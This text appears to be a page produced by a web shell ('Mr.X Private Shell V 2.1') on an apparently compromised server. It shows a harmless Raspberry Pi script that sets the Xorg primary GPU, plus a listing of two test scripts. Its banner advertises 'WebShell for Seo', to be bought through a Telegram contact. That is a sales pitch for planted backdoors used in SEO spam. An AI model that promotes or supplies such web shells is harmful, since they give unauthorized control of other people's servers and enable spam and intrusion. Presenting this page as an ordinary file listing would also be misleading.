__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/bin/bash
# Choose an appropriate "Primary GPU" for Xorg
# This should normally be vc4 (not v3d) but when some
# other display is enabled on Pi5, it should match that.
IDENTIFIER=vc4
MATCHDRIVER=vc4
if raspi-config nonint is_pifive; then
if ls /dev/dri/by-path/ | grep -q '\(vec\|dsi\|dpi\)-card' ; then
IDENTIFIER=rp1
MATCHDRIVER='rp1-vec|rp1-dsi|rp1-dpi'
fi
fi
sed -e "s/XXX/${IDENTIFIER}/" << EOF | sed -e "s/YYY/${MATCHDRIVER}/" > /etc/X11/xorg.conf.d/99-v3d.conf.tmp
Section "OutputClass"
Identifier "XXX"
MatchDriver "YYY"
Driver "modesetting"
Option "PrimaryGPU" "true"
EndSection
EOF
mv -f /etc/X11/xorg.conf.d/99-v3d.conf.tmp /etc/X11/xorg.conf.d/99-v3d.conf
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| glamor_test.sh | File | 491 B | 0755 |
|
| rp1_test.sh | File | 696 B | 0755 |
|